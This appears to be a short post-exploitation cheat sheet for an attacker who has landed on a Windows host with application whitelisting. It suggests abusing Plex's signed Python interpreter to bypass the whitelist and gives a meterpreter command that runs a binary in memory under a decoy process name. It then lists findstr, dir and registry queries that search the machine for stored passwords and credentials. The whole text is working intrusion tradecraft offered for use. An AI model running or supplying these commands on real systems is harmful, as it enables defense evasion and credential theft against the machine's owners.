You landed on a box with whitelisting and found out that Plex media server is installed....

Well, I suggest you look at PlexScriptHost.exe. (signed python interpreter)

In meterpreter:

execute -H -I -c -m -d calc.exe -f /tmp/GetAuditPol.exe -a -w

Substitute calc.exe for any innocuous running process if desired. Get GetAuditPol.exe from Carlos Perez' GitHub. Pulls audit policy on a Windows box as an unprivileged user.

Linux/ MacOS - check for auditd, syslogd, osqueryd

findstr /si password *.txt

findstr /si password *.xml

dir /s pass == cred == vnc == .config

findstr /spin "password" .

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s